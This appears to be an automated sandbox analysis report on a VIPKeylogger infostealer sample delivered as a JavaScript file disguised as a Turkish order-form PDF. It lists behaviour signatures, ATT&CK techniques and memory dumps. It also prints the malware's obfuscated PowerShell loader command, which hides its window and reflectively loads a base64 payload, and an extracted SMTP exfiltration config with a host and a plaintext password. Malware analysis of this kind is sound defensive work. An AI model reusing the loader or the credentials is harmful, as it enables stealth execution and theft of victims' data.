Analysis
- max time kernel
298s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
31/07/2026, 16:25
General
- Target SİPARİŞ FORMU 31-07-2026 PDF.js
- Size 27.7MB
- Sample260731-txecasbp41
- SHA256 38f26c2517e8206ed16b0e894f7798bc08e524cb446a5d4ebb4066dc749d2e09
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
hosting2.ro.hostsailor.com
-
Port
587
-
Username
-
Password
7213575aceACE@@
-
Email to
Signatures
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\SİPARİŞ FORMU 31-07-2026 PDF.js"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('28luitE0+FH16UNhKWWMK6XzTI5qfKJcGJ4Wtie5OYvr4Pg9X+l+dLgxM7at1zMB2oYHY4I9N2oDkTMPJ9iLzQ==','ki0yh4ilNRGSUL4+TQ1lYU3r+lDyzzNNN+DskCNXaVc=','TRYOp5QPX2YeMn5dkVDuTdi5cXo+2kcYKqHePqC6JjIVvHE+mn5BVJ3+Y7gwWInB','wMjtxpG1pBMbLugPvTwjdL3wDVfdZlMyKPiObpwX00g=','bmma5/qKai7BZVSVnkqGsMyTy1U26ilI9p5gTH6SmQM=','','WfQr1E1PhTxJVnpi0albRvjv/wSCGKzBRjNIhtV0CPo=','o3O5DtWYqF2G3fdtCDzgPZcQ25DZow2yCCI3W705KA8=','ND+Us8tmuNnprmsG2guc6kYf1wYW90EyeDVCJwr8nPQ=','E6pAWV1AyPp/D5LKbLNu0wQ1zb4SQycPOnYrl7vE+mFfPLjRBdHhSQV+0iq2kJOu','y+LRLuCgr/TWQWL5QjtmgxCd3E1Ww8iYQaTQ5syKUrs=','dyhSgCfyMksHrQihI31bvf0oH+nsasI1KZ6Z61Xn5GM=','KxBh2bIO+W2rAFn85TcrNQH5lI+Hp4v+dRW5Q3INUF0=','P7FxzgTxPJ1909I+cFB75nuPsuzOVcxPhXIc+dK6zhU=','sBsueptnmjXM0nevMbHbrcNzsExJFJbKzhrPkQiXmfA=','ChESsqXObdcec/kr91Cu8k6DAaCcDohE7CLxAdKTSVQ=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
C:\Windows\system32\conhost.execonhost.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4916-19-0x0000000000400000-0x0000000000448000-memory.dmp
memory/4916-27-0x0000000007190000-0x000000000719A000-memory.dmp
memory/4916-26-0x00000000073F0000-0x0000000007482000-memory.dmp
memory/4916-25-0x00000000070A0000-0x00000000070F0000-memory.dmp
memory/4916-24-0x0000000007220000-0x00000000073E2000-memory.dmp
memory/4916-23-0x0000000005FF0000-0x000000000608C000-memory.dmp
memory/4916-22-0x0000000006510000-0x0000000006ACA000-memory.dmp
memory/5324-14-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-18-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-11-0x0000020DF5460000-0x0000020DF54F2000-memory.dmp
memory/5324-12-0x0000020DF54F0000-0x0000020DF54FA000-memory.dmp
memory/5324-13-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-0-0x00007FF9637CF000-0x00007FF9637D0000-memory.dmp
memory/5324-15-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-16-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-17-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-9-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-10-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-21-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-7-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-8-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-6-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-5-0x00007FF963640000-0x00007FF963FE4000-memory.dmp
memory/5324-3-0x0000020DF78B0000-0x0000020DF78D2000-memory.dmp
memory/5324-4-0x00007FF963640000-0x00007FF963FE4000-memory.dmp